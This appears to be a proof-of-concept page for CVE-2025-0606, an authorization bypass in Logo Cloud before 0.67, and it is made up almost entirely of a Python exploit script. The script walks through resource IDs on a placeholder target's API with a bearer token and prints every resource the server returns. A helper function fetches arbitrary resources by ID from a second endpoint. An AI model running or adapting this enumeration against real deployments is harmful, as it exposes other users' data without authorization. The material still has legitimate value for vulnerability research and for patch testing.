CVE-2025-0606 Logo Cloud授权绕过漏洞

# CVE-2025-0606 - Logo Cloud Authorization Bypass PoC # Vulnerability: Authorization Bypass Through User-Controlled Key # Affected: Logo Cloud < 0.67 import requests # Configuration TARGET_URL = "https://target-logo-cloud.example.com" AUTH_TOKEN = "Bearer <attacker_token>" # Valid authentication token (high privilege required) # Step 1: Login and obtain session session = requests.Session() headers = { "Authorization": AUTH_TOKEN, "Content-Type": "application/json" } # Step 2: Enumerate resource IDs by incrementing # The vulnerability allows accessing resources by manipulating the user-controlled key for resource_id in range(1, 1000): # Step 3: Request resource with manipulated ID (forceful browsing) url = f"{TARGET_URL}/api/v1/resources/{resource_id}" response = session.get(url, headers=headers) if response.status_code == 200: # Step 4: Resource accessed without proper authorization check print(f"[+] Resource {resource_id} accessed: {response.json()}") elif response.status_code == 403: # Properly authorized resource - skip continue elif response.status_code == 404: # Resource not found continue # Alternative exploitation via direct API call def exploit_resource(target_resource_id): """ Exploit: Access arbitrary resource by manipulating user-controlled key The server fails to verify that the requested resource belongs to the authenticated user """ endpoint = f"{TARGET_URL}/api/v1/cloud/resource/{target_resource_id}" resp = session.get(endpoint, headers=headers) if resp.status_code == 200: return resp.json() return None